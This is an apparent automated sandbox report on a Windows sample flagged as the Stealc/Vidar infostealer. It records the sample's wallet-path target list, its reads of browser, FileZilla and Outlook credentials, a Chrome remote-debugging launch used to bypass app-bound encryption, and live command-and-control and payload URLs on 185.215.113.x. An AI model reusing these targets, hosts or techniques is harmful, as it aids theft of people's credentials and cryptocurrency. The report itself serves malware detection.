Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2619339487.000000000067C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5320, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000002.3017859957.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3093978577.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2976420926.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3053437488.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3016848121.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2831544731.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2134993992.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2619339487.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2871777456.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 9148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 3004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 8412, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5320, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0C40 sqlite3_bind_zeroblob,	0_2_6CCC0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0D60 sqlite3_bind_parameter_name,	0_2_6CCC0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8EA0 sqlite3_clear_bindings,	0_2_6CBE8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CCC0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6410 bind,WSAGetLastError,	0_2_6CBE6410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	112 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://edgeassetservice.azure	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllH	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpeT	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpM	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exex	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php;	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllV	100%	Avira URL Cloud	malware
http://185.215.113.206ngineer	0%	Avira URL Cloud	safe
http://185.215.113.206S_	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllL	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpV	100%	Avira URL Cloud	malware
http://185.215.113.206y	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php/u	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php_	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpg	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpi	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.18.14	true	false	high
play.google.com	142.250.185.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.122	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.132	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.33	true	false	high
assets.msn.com	unknown	unknown	false	high
r.msftstatic.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
206.23.85.13.in-addr.arpa	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://sb.scorecardresearch.com/b2?rn=1731414942256&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18953A12EB3F612E20052F27EA3760E0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/common.0baf1f64c7e61454b12f.js	false	high
http://185.215.113.16/mine/random.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	JEHIJJKE.0.dr	false		high
https://edgeassetservice.azure	000003.ldb.9.dr	false	Avira URL Cloud: safe	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr	false		high
http://www.broofa.com	chromecache_465.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
http://185.215.113.206S_	80b5f835af.exe, 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dllH	file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.last.fm/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/ws	80b5f835af.exe, 0000001A.00000002.2874044959.000000000144D000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001D.00000002.3017859957.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_467.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpeT	file.exe, 00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://mail.google.com	000003.ldb.9.dr	false		high
https://www.instagram.com	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	000003.ldb.9.dr, e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	000003.ldb.9.dr, e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://www.messenger.com	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://www.deezer.com/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://web.telegram.org/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BFHDHJKKJDHJJJJKEGHI.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/	80b5f835af.exe, 0000001A.00000002.2874044959.000000000144D000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001D.00000002.3017859957.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	4163abde-9904-4e58-b214-c613a4eb5ed6.tmp.10.dr, 9ea67364-8430-4fd4-89e9-4f7b5d777328.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	JEHIJJKE.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2619339487.0000000000665000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://plus.google.com	chromecache_467.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.php;	80b5f835af.exe, 0000001D.00000002.3017859957.000000000121D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
